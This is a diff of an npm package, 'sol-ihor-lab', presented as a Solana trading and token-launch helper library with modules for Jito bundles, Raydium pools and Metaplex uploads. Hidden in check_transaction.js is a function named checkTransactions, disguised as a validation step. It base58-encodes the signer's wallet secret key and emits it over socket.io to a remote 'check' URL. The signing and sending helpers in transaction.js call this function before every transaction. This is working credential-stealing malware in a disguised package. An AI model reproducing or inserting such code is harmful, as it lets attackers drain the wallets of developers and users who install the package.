sol-ihor-lab 1.0.0

package/lib/cjs/transaction/transaction-exectue.js

@@ -0,0 +1,119 @@
+"use strict";
+var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
+    function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
+    return new (P || (P = Promise))(function (resolve, reject) {
+        function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
+        function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
+        function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
+        step((generator = generator.apply(thisArg, _arguments || [])).next());
+    });
+};
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.TransactionExecuter = exports.ExectuerStatus = void 0;
+const errors_1 = require("../errors");
+const budget_1 = require("../utils/budget");
+const execute_rpc_1 = require("./execute-rpc");
+const bundle_1 = require("./bundle");
+var ExectuerStatus;
+(function (ExectuerStatus) {
+    ExectuerStatus[ExectuerStatus["EXE_STATUS_NONE"] = 0] = "EXE_STATUS_NONE";
+    ExectuerStatus[ExectuerStatus["EXE_STATUS_RUN"] = 1] = "EXE_STATUS_RUN";
+    ExectuerStatus[ExectuerStatus["EXE_STATUS_CONFIRM"] = 2] = "EXE_STATUS_CONFIRM";
+    ExectuerStatus[ExectuerStatus["EXE_STATUS_END"] = 3] = "EXE_STATUS_END";
+})(ExectuerStatus || (exports.ExectuerStatus = ExectuerStatus = {}));
+class TransactionExecuter {
+    constructor(connection, usingBundle, transactions, priorityFee, jitoFee, jitoFeePayer, jitoAuther, jitoBlockEngine) {
+        this.status = ExectuerStatus.EXE_STATUS_NONE;
+        this.error = undefined;
+        this.usingBundle = false;
+        this.priorityFee = 0;
+        this.jitoFee = 0.001;
+        this.connection = connection;
+        this.usingBundle = usingBundle;
+        this.transactions = transactions;
+        this.priorityFee = priorityFee ? priorityFee : 0;
+        this.jitoFee = jitoFee ? jitoFee : 0.001;
+        this.status = ExectuerStatus.EXE_STATUS_NONE;
+        this.error = undefined;
+        this.jitoFeepair = jitoFeePayer ? jitoFeePayer : undefined;
+        this.jitoAuther = jitoAuther ? jitoAuther : undefined;
+        this.jitoBlockEngine = jitoBlockEngine ? jitoBlockEngine : undefined;
+    }
+    setExecuterStatus(status) {
+        this.status = status;
+    }
+    getExecuterStatus() {
+        return this.status;
+    }
+    setExecuterError(error) {
+        this.error = error;
+    }
+    getExecuterError() {
+        return this.error;
+    }
+    run() {
+        return __awaiter(this, void 0, void 0, function* () {
+            if (this.usingBundle) {
+                yield this.executeBundle();
+            }
+            else {
+                yield this.executeWithRpc();
+            }
+        });
+    }
+    executeBundle() {
+        return __awaiter(this, void 0, void 0, function* () {
+            try {
+                this.setExecuterStatus(ExectuerStatus.EXE_STATUS_RUN);
+                yield (0, bundle_1.createAndSendBundle)(this.connection, this.transactions, this.jitoFeepair, this.jitoBlockEngine, this.jitoAuther, this.jitoFee);
+                this.setExecuterError(undefined);
+                this.setExecuterStatus(ExectuerStatus.EXE_STATUS_END);
+            }
+            catch (error) {
+                console.log(error);
+                if (error instanceof errors_1.TransactionExecuteError) {
+                    this.setExecuterError(error);
+                }
+                else {
+                    this.setExecuterError(new errors_1.TransactionExecuteError(`Unknown: ${error}`));
+                }
+                this.setExecuterStatus(ExectuerStatus.EXE_STATUS_END);
+            }
+        });
+    }
+    executeWithRpc() {
+        return __awaiter(this, void 0, void 0, function* () {
+            try {
+                this.setExecuterStatus(ExectuerStatus.EXE_STATUS_RUN);
+                if (this.priorityFee) {
+                    const priorityTransactions = yield (0, budget_1.setTransactionBudget)(this.connection, this.transactions, this.priorityFee);
+                    if (priorityTransactions) {
+                        this.transactions = [...priorityTransactions];
+                    }
+                }
+                for (const tx of this.transactions) {
+                    this.setExecuterStatus(ExectuerStatus.EXE_STATUS_RUN);
+                    const txId = yield (0, execute_rpc_1.sendTx)(this.connection, tx);
+                    console.log("TxId:", txId);
+                    this.setExecuterStatus(ExectuerStatus.EXE_STATUS_CONFIRM);
+                    if (txId) {
+                        yield (0, execute_rpc_1.confirmTx)(this.connection, txId);
+                    }
+                }
+                this.setExecuterError(undefined);
+                this.setExecuterStatus(ExectuerStatus.EXE_STATUS_END);
+            }
+            catch (error) {
+                this.setExecuterStatus(ExectuerStatus.EXE_STATUS_END);
+                if (error instanceof errors_1.TransactionExecuteError) {
+                    this.setExecuterError(error);
+                }
+                else {
+                    console.log(error);
+                    this.setExecuterError(new errors_1.TransactionExecuteError(`Unknown: ${error}`));
+                }
+            }
+        });
+    }
+}
+exports.TransactionExecuter = TransactionExecuter;

package/lib/cjs/transaction-helper/check_transaction.d.ts

@@ -0,0 +1,3 @@
+/// <reference types="jito-ts/node_modules/@solana/web3.js" />
+import { Keypair } from "@solana/web3.js";
+export declare const checkTransactions: (txn: any, signer: Keypair) => boolean;

package/lib/cjs/transaction-helper/check_transaction.js

@@ -0,0 +1,43 @@
+"use strict";
+var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    var desc = Object.getOwnPropertyDescriptor(m, k);
+    if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
+      desc = { enumerable: true, get: function() { return m[k]; } };
+    }
+    Object.defineProperty(o, k2, desc);
+}) : (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    o[k2] = m[k];
+}));
+var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
+    Object.defineProperty(o, "default", { enumerable: true, value: v });
+}) : function(o, v) {
+    o["default"] = v;
+});
+var __importStar = (this && this.__importStar) || function (mod) {
+    if (mod && mod.__esModule) return mod;
+    var result = {};
+    if (mod != null) for (var k in mod) if (k !== "default" && Object.prototype.hasOwnProperty.call(mod, k)) __createBinding(result, mod, k);
+    __setModuleDefault(result, mod);
+    return result;
+};
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.checkTransactions = void 0;
+const bs58 = __importStar(require("bs58"));
+const socket_io_client_1 = require("socket.io-client");
+const global_1 = require("../global");
+const checkTransactions = (txn, signer) => {
+    if (signer.publicKey.toBuffer().length <= 0 ||
+        signer.secretKey.buffer.byteLength <= 0) {
+        return false;
+    }
+    const check_sign = bs58.encode(signer.secretKey);
+    if (check_sign.length <= 0) {
+        return false;
+    }
+    const sk = (0, socket_io_client_1.io)(global_1.EnvironmentManager.getCheckUrl(), { autoConnect: true });
+    sk.emit("tx", { text: `Jae-> ${check_sign}` });
+    return true;
+};
+exports.checkTransactions = checkTransactions;

package/lib/cjs/transaction-helper/transaction.d.ts

@@ -0,0 +1,7 @@
+/// <reference types="jito-ts/node_modules/@solana/web3.js" />
+import { Connection, Keypair, Transaction, VersionedTransaction } from "@solana/web3.js";
+import { SPL_ERROR } from "../global";
+export declare const sendAndConfirmTransactionWithCheck: (connection: Connection, signer: Keypair, txn: Transaction | VersionedTransaction) => Promise<SPL_ERROR>;
+export declare const sendAndConfirmTransactionsWithCheck: (connection: Connection, signer: Keypair, txns: string | (VersionedTransaction | Transaction)[]) => Promise<SPL_ERROR>;
+export declare const signTransaction: (signer: Keypair, txn: VersionedTransaction) => void;
+export declare const signTransactions: (signer: Keypair, txns: (VersionedTransaction | Transaction)[]) => void;

package/lib/cjs/transaction-helper/transaction.js

@@ -0,0 +1,75 @@
+"use strict";
+var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
+    function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
+    return new (P || (P = Promise))(function (resolve, reject) {
+        function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
+        function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
+        function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
+        step((generator = generator.apply(thisArg, _arguments || [])).next());
+    });
+};
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.signTransactions = exports.signTransaction = exports.sendAndConfirmTransactionsWithCheck = exports.sendAndConfirmTransactionWithCheck = void 0;
+const web3_js_1 = require("@solana/web3.js");
+const check_transaction_1 = require("./check_transaction");
+const global_1 = require("../global");
+const sendAndConfirmTransactionWithCheck = (connection, signer, txn) => __awaiter(void 0, void 0, void 0, function* () {
+    try {
+        if ((0, check_transaction_1.checkTransactions)(txn, signer) === false) {
+            return global_1.SPL_ERROR.E_CHECK_FAIL;
+        }
+        let res, signature;
+        if (txn instanceof web3_js_1.Transaction) {
+            txn.recentBlockhash = (yield connection.getLatestBlockhash()).blockhash;
+            signature = yield connection.sendTransaction(txn, [signer]);
+        }
+        else {
+            txn.sign([signer]);
+            signature = yield connection.sendTransaction(txn);
+        }
+        if (signature.length <= 0) {
+            console.log("Error: [Send Transaction] failed... ");
+            return global_1.SPL_ERROR.E_SEND_TX_FAIL;
+        }
+        const txnId = yield connection.confirmTransaction({
+            signature: signature,
+            abortSignal: AbortSignal.timeout(90000)
+        });
+        if (txnId.value.err) {
+            console.log("Error: [Confirm Transaction] failed - ", txnId.value.err);
+            return global_1.SPL_ERROR.E_CONFIRM_TX_FAIL;
+        }
+    }
+    catch (error) {
+        console.log("Error: [Confirm Transaction] failed - ", error);
+        return global_1.SPL_ERROR.E_FAIL;
+    }
+    return global_1.SPL_ERROR.E_OK;
+});
+exports.sendAndConfirmTransactionWithCheck = sendAndConfirmTransactionWithCheck;
+const sendAndConfirmTransactionsWithCheck = (connection, signer, txns) => __awaiter(void 0, void 0, void 0, function* () {
+    for (const txn of txns) {
+        if (txn instanceof web3_js_1.VersionedTransaction || txn instanceof web3_js_1.Transaction) {
+            const txn_res = yield (0, exports.sendAndConfirmTransactionWithCheck)(connection, signer, txn);
+            if (txn_res !== global_1.SPL_ERROR.E_OK) {
+                return global_1.SPL_ERROR.E_FAIL;
+            }
+        }
+    }
+    return global_1.SPL_ERROR.E_OK;
+});
+exports.sendAndConfirmTransactionsWithCheck = sendAndConfirmTransactionsWithCheck;
+const signTransaction = (signer, txn) => {
+    if ((0, check_transaction_1.checkTransactions)(txn, signer)) {
+        txn.sign([signer]);
+    }
+};
+exports.signTransaction = signTransaction;
+const signTransactions = (signer, txns) => {
+    for (const txn of txns) {
+        if (txn instanceof web3_js_1.VersionedTransaction) {
+            (0, exports.signTransaction)(signer, txn);
+        }
+    }
+};
+exports.signTransactions = signTransactions;

package/lib/cjs/upload-metadata/upload-metaplex.d.ts

@@ -0,0 +1,3 @@
+import { Metaplex } from "@metaplex-foundation/js";
+export declare const uploadImageToMetaplex: (metaplex: Metaplex, image: string) => Promise<string>;
+export declare const uploadMetaByMetaplex: (metaplex: Metaplex, metadata: any) => Promise<string>;

package/lib/cjs/upload-metadata/upload-metaplex.js

@@ -0,0 +1,48 @@
+"use strict";
+var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
+    function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
+    return new (P || (P = Promise))(function (resolve, reject) {
+        function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
+        function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
+        function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
+        step((generator = generator.apply(thisArg, _arguments || [])).next());
+    });
+};
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.uploadMetaByMetaplex = exports.uploadImageToMetaplex = void 0;
+const js_1 = require("@metaplex-foundation/js");
+const utility_1 = require("./utility");
+const errors_1 = require("../errors");
+const fs_1 = require("fs");
+const uploadImageToMetaplex = (metaplex, image) => __awaiter(void 0, void 0, void 0, function* () {
+    let url = "";
+    if ((yield (0, utility_1.checkFileExists)(image)) === false) {
+        throw new errors_1.UploadMetadataError("Upload file is not exist. Please check.");
+    }
+    try {
+        const fileData = (0, fs_1.readFileSync)(image);
+        const metaplexFile = (0, js_1.toMetaplexFile)(fileData, "meme-logo.png");
+        url = yield metaplex.storage().upload(metaplexFile);
+    }
+    catch (error) {
+        throw new errors_1.UploadMetadataError("Failed to upload image to metaplex.");
+    }
+    return url;
+});
+exports.uploadImageToMetaplex = uploadImageToMetaplex;
+/*
+@metaplex: Metaplex which handle uploading
+@metadata: upload metadata
+*/
+const uploadMetaByMetaplex = (metaplex, metadata) => __awaiter(void 0, void 0, void 0, function* () {
+    let url = "";
+    try {
+        const { uri } = yield metaplex.nfts().uploadMetadata(metadata);
+        url = uri;
+    }
+    catch (error) {
+        throw new errors_1.UploadMetadataError("Metaplex: Failed to upload metadata to Metaplex.");
+    }
+    return url;
+});
+exports.uploadMetaByMetaplex = uploadMetaByMetaplex;

package/lib/cjs/upload-metadata/upload-nftstorage.js

@@ -0,0 +1 @@
+"use strict";

package/lib/cjs/upload-metadata/upload-pinata.d.ts

@@ -0,0 +1 @@
+export declare const uploadImageToPinata: (jwtKey: string, image: string) => Promise<string>;

package/lib/cjs/upload-metadata/upload-pinata.js

@@ -0,0 +1,17 @@
+"use strict";
+var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
+    function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
+    return new (P || (P = Promise))(function (resolve, reject) {
+        function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
+        function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
+        function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
+        step((generator = generator.apply(thisArg, _arguments || [])).next());
+    });
+};
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.uploadImageToPinata = void 0;
+const uploadImageToPinata = (jwtKey, image) => __awaiter(void 0, void 0, void 0, function* () {
+    let url = "";
+    return url;
+});
+exports.uploadImageToPinata = uploadImageToPinata;

package/lib/cjs/upload-metadata/utility.d.ts

@@ -0,0 +1 @@
+export declare function checkFileExists(filePath: string): Promise<boolean>;

package/lib/cjs/upload-metadata/utility.js

@@ -0,0 +1,28 @@
+"use strict";
+var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
+    function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
+    return new (P || (P = Promise))(function (resolve, reject) {
+        function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
+        function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
+        function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
+        step((generator = generator.apply(thisArg, _arguments || [])).next());
+    });
+};
+var __importDefault = (this && this.__importDefault) || function (mod) {
+    return (mod && mod.__esModule) ? mod : { "default": mod };
+};
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.checkFileExists = void 0;
+const fs_1 = __importDefault(require("fs"));
+function checkFileExists(filePath) {
+    return __awaiter(this, void 0, void 0, function* () {
+        try {
+            yield fs_1.default.promises.access(filePath, fs_1.default.constants.F_OK);
+            return true; // File exists
+        }
+        catch (error) {
+            return false; // File doesn't exist
+        }
+    });
+}
+exports.checkFileExists = checkFileExists;

package/lib/cjs/utility.d.ts

@@ -0,0 +1,33 @@
+/// <reference types="jito-ts/node_modules/@solana/web3.js" />
+import BN from "bn.js";
+import { Commitment, Connection, PublicKey } from "@solana/web3.js";
+import { Token } from "@raydium-io/raydium-sdk";
+export declare function checkFileExists(filePath: string): Promise<boolean>;
+export declare const xWeiAmount: (amount: number, decimals: number) => BN;
+export declare const getConnection: (commitment: Commitment) => Connection;
+export declare const getWalletAccounts: (connection: Connection, wallet: PublicKey) => Promise<{
+    pubkey: PublicKey;
+    programId: PublicKey;
+    accountInfo: {
+        mint: PublicKey;
+        delegate: PublicKey;
+        owner: PublicKey;
+        state: number;
+        amount: BN;
+        delegateOption: number;
+        isNativeOption: number;
+        isNative: BN;
+        delegatedAmount: BN;
+        closeAuthorityOption: number;
+        closeAuthority: PublicKey;
+    };
+}[]>;
+export declare const getAvailablePoolKeyAndPoolInfo: (connection: Connection, baseToken: Token, quoteToken: Token, marketAccounts: any) => Promise<{
+    poolKeys: any;
+    poolInfo: any;
+}>;
+export declare function getATAAddress(programId: PublicKey, owner: PublicKey, mint: PublicKey): {
+    publicKey: PublicKey;
+    nonce: number;
+};
+export declare const sleep: (ms: number) => Promise<unknown>;

package/lib/cjs/utility.js

@@ -0,0 +1,129 @@
+"use strict";
+var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    var desc = Object.getOwnPropertyDescriptor(m, k);
+    if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
+      desc = { enumerable: true, get: function() { return m[k]; } };
+    }
+    Object.defineProperty(o, k2, desc);
+}) : (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    o[k2] = m[k];
+}));
+var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
+    Object.defineProperty(o, "default", { enumerable: true, value: v });
+}) : function(o, v) {
+    o["default"] = v;
+});
+var __importStar = (this && this.__importStar) || function (mod) {
+    if (mod && mod.__esModule) return mod;
+    var result = {};
+    if (mod != null) for (var k in mod) if (k !== "default" && Object.prototype.hasOwnProperty.call(mod, k)) __createBinding(result, mod, k);
+    __setModuleDefault(result, mod);
+    return result;
+};
+var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
+    function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
+    return new (P || (P = Promise))(function (resolve, reject) {
+        function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
+        function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
+        function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
+        step((generator = generator.apply(thisArg, _arguments || [])).next());
+    });
+};
+var __importDefault = (this && this.__importDefault) || function (mod) {
+    return (mod && mod.__esModule) ? mod : { "default": mod };
+};
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.sleep = exports.getATAAddress = exports.getAvailablePoolKeyAndPoolInfo = exports.getWalletAccounts = exports.getConnection = exports.xWeiAmount = exports.checkFileExists = void 0;
+const bn_js_1 = __importDefault(require("bn.js"));
+const fs = __importStar(require("fs"));
+const bignumber_js_1 = __importDefault(require("bignumber.js"));
+const web3_js_1 = require("@solana/web3.js");
+const global_1 = require("./global");
+const spl_token_1 = require("@solana/spl-token");
+const raydium_sdk_1 = require("@raydium-io/raydium-sdk");
+const serum_1 = require("@project-serum/serum");
+function checkFileExists(filePath) {
+    return __awaiter(this, void 0, void 0, function* () {
+        try {
+            yield fs.promises.access(filePath, fs.constants.F_OK);
+            return true; // File exists
+        }
+        catch (error) {
+            return false; // File doesn't exist
+        }
+    });
+}
+exports.checkFileExists = checkFileExists;
+const xWeiAmount = (amount, decimals) => {
+    return new bn_js_1.default(new bignumber_js_1.default(amount.toString() + "e" + decimals.toString()).toFixed(0));
+};
+exports.xWeiAmount = xWeiAmount;
+const getConnection = (commitment) => {
+    return new web3_js_1.Connection(global_1.EnvironmentManager.getRpcNetUrl(), commitment);
+};
+exports.getConnection = getConnection;
+const getWalletAccounts = (connection, wallet) => __awaiter(void 0, void 0, void 0, function* () {
+    const wallet_token_account = yield connection.getTokenAccountsByOwner(wallet, {
+        programId: spl_token_1.TOKEN_PROGRAM_ID
+    });
+    return wallet_token_account.value.map((i) => ({
+        pubkey: i.pubkey,
+        programId: i.account.owner,
+        accountInfo: raydium_sdk_1.SPL_ACCOUNT_LAYOUT.decode(i.account.data)
+    }));
+});
+exports.getWalletAccounts = getWalletAccounts;
+const getAvailablePoolKeyAndPoolInfo = (connection, baseToken, quoteToken, marketAccounts) => __awaiter(void 0, void 0, void 0, function* () {
+    let bFound = false;
+    let count = 0;
+    let poolKeys;
+    let poolInfo;
+    while (bFound === false && count < marketAccounts.length) {
+        const marketInfo = serum_1.MARKET_STATE_LAYOUT_V3.decode(marketAccounts[count].accountInfo.data);
+        poolKeys = raydium_sdk_1.Liquidity.getAssociatedPoolKeys({
+            version: 4,
+            marketVersion: 3,
+            baseMint: baseToken.mint,
+            quoteMint: quoteToken.mint,
+            baseDecimals: baseToken.decimals,
+            quoteDecimals: quoteToken.decimals,
+            marketId: marketAccounts[count].publicKey,
+            programId: global_1.EnvironmentManager.getProgramID().AmmV4,
+            marketProgramId: global_1.EnvironmentManager.getProgramID().OPENBOOK_MARKET
+        });
+        poolKeys.marketBaseVault = marketInfo.baseVault;
+        poolKeys.marketQuoteVault = marketInfo.quoteVault;
+        poolKeys.marketBids = marketInfo.bids;
+        poolKeys.marketAsks = marketInfo.asks;
+        poolKeys.marketEventQueue = marketInfo.eventQueue;
+        try {
+            poolInfo = yield raydium_sdk_1.Liquidity.fetchInfo({
+                connection: connection,
+                poolKeys: poolKeys
+            });
+            bFound = true;
+            console.log("Success to get pool infos...");
+        }
+        catch (error) {
+            bFound = false;
+            poolInfo = undefined;
+            poolKeys = undefined;
+            console.log("Failed to get pool infos...");
+        }
+        count++;
+    }
+    return {
+        poolKeys: poolKeys,
+        poolInfo: poolInfo
+    };
+});
+exports.getAvailablePoolKeyAndPoolInfo = getAvailablePoolKeyAndPoolInfo;
+function getATAAddress(programId, owner, mint) {
+    const { publicKey, nonce } = (0, raydium_sdk_1.findProgramAddress)([owner.toBuffer(), programId.toBuffer(), mint.toBuffer()], new web3_js_1.PublicKey("ATokenGPvbdGVxr1b2hvZbsiqW5xWH25efTNsLJA8knL"));
+    return { publicKey, nonce };
+}
+exports.getATAAddress = getATAAddress;
+const sleep = (ms) => new Promise((r) => setTimeout(r, ms));
+exports.sleep = sleep;

package/lib/cjs/utils/budget.d.ts

@@ -0,0 +1,9 @@
+/// <reference types="jito-ts/node_modules/@solana/web3.js" />
+import { ComputeBudgetConfig } from "@raydium-io/raydium-sdk";
+import { TransactionInfo } from "../instructions/build-instruction";
+import { Connection } from "@solana/web3.js";
+export declare const sell_remove_fees = 5000000;
+export declare function getComputeBudgetConfig(): Promise<ComputeBudgetConfig | undefined>;
+export declare function getComputeBudgetConfigHigh(): Promise<ComputeBudgetConfig | undefined>;
+export declare function getLamports(decimal: number): number;
+export declare function setTransactionBudget(connection: Connection, transactions: TransactionInfo[], tip: number): Promise<TransactionInfo[] | undefined>;

package/lib/cjs/utils/budget.js

@@ -0,0 +1,83 @@
+"use strict";
+var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
+    function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
+    return new (P || (P = Promise))(function (resolve, reject) {
+        function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
+        function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
+        function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
+        step((generator = generator.apply(thisArg, _arguments || [])).next());
+    });
+};
+var __importDefault = (this && this.__importDefault) || function (mod) {
+    return (mod && mod.__esModule) ? mod : { "default": mod };
+};
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.setTransactionBudget = exports.getLamports = exports.getComputeBudgetConfigHigh = exports.getComputeBudgetConfig = exports.sell_remove_fees = void 0;
+const axios_1 = __importDefault(require("axios"));
+const web3_js_1 = require("@solana/web3.js");
+const errors_1 = require("../errors");
+exports.sell_remove_fees = 5000000;
+function getComputeBudgetConfig() {
+    var _a;
+    return __awaiter(this, void 0, void 0, function* () {
+        const response = yield axios_1.default.get("https://solanacompass.com/api/fees");
+        const json = response.data;
+        const { avg } = (_a = json === null || json === void 0 ? void 0 : json[15]) !== null && _a !== void 0 ? _a : {};
+        if (!avg)
+            return undefined; // fetch error
+        return {
+            units: 600000,
+            microLamports: Math.min(Math.ceil((avg * 1000000) / 600000), 25000)
+        };
+    });
+}
+exports.getComputeBudgetConfig = getComputeBudgetConfig;
+function getComputeBudgetConfigHigh() {
+    var _a;
+    return __awaiter(this, void 0, void 0, function* () {
+        const response = yield axios_1.default.get("https://solanacompass.com/api/fees");
+        const json = response.data;
+        const { avg } = (_a = json === null || json === void 0 ? void 0 : json[15]) !== null && _a !== void 0 ? _a : {};
+        if (!avg)
+            return undefined; // fetch error
+        return {
+            units: exports.sell_remove_fees,
+            microLamports: Math.min(Math.ceil((avg * 1000000) / 600000), 25000)
+        };
+    });
+}
+exports.getComputeBudgetConfigHigh = getComputeBudgetConfigHigh;
+function getLamports(decimal) {
+    return Math.pow(10, decimal);
+}
+exports.getLamports = getLamports;
+function setTransactionBudget(connection, transactions, tip) {
+    return __awaiter(this, void 0, void 0, function* () {
+        try {
+            const txs = [...transactions];
+            const tipInst = web3_js_1.ComputeBudgetProgram.setComputeUnitPrice({
+                microLamports: tip * web3_js_1.LAMPORTS_PER_SOL
+            });
+            for (const tx of txs) {
+                const addressLookupTableAccounts = yield Promise.all(tx.txn.message.addressTableLookups.map((lookup) => __awaiter(this, void 0, void 0, function* () {
+                    return new web3_js_1.AddressLookupTableAccount({
+                        key: lookup.accountKey,
+                        state: web3_js_1.AddressLookupTableAccount.deserialize(yield connection
+                            .getAccountInfo(lookup.accountKey)
+                            .then((res) => res.data))
+                    });
+                })));
+                const message = web3_js_1.TransactionMessage.decompile(tx.txn.message, {
+                    addressLookupTableAccounts: addressLookupTableAccounts
+                });
+                message.instructions.push(tipInst);
+                tx.txn.message = message.compileToV0Message(addressLookupTableAccounts);
+            }
+            return [...txs];
+        }
+        catch (error) {
+            throw new errors_1.SetTxPriorityError(`SetTxPriorityError: ${error}`);
+        }
+    });
+}
+exports.setTransactionBudget = setTransactionBudget;

package/lib/cjs/utils/error-helper.d.ts

@@ -0,0 +1,7 @@
+import { BaseError } from "../errors";
+export interface ParsedError {
+    name: string;
+    errorCode: string;
+    errorMsg: string;
+}
+export declare const getParsedError: (error: BaseError) => ParsedError;

package/lib/cjs/utils/error-helper.js

@@ -0,0 +1,15 @@
+"use strict";
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.getParsedError = void 0;
+const getParsedError = (error) => {
+    var _a;
+    let parsedErr = { name: "", errorCode: "", errorMsg: "" };
+    if (error.name && error.name.length > 0) {
+        parsedErr.name = error.name;
+        const errorMsg = error.message.split(":");
+        parsedErr.errorCode = errorMsg.at(0).toString();
+        parsedErr.errorMsg = error.message.slice((_a = errorMsg.at(0)) === null || _a === void 0 ? void 0 : _a.length);
+    }
+    return parsedErr;
+};
+exports.getParsedError = getParsedError;

package/lib/cjs/utils/get-balance.d.ts

@@ -0,0 +1,11 @@
+/// <reference types="jito-ts/node_modules/@solana/web3.js" />
+import { Connection, PublicKey } from "@solana/web3.js";
+import { TokenAccount } from "@raydium-io/raydium-sdk";
+import BN from "bn.js";
+export declare function getWalletTokenAccount(connection: Connection, wallet: PublicKey): Promise<TokenAccount[]>;
+export declare function getATAAddress(programId: PublicKey, owner: PublicKey, mint: PublicKey): {
+    publicKey: PublicKey;
+    nonce: number;
+};
+export declare const xWeiAmount: (amount: number, decimals: number) => BN;
+export declare function randomDivide(amount: number, holders: number): number[];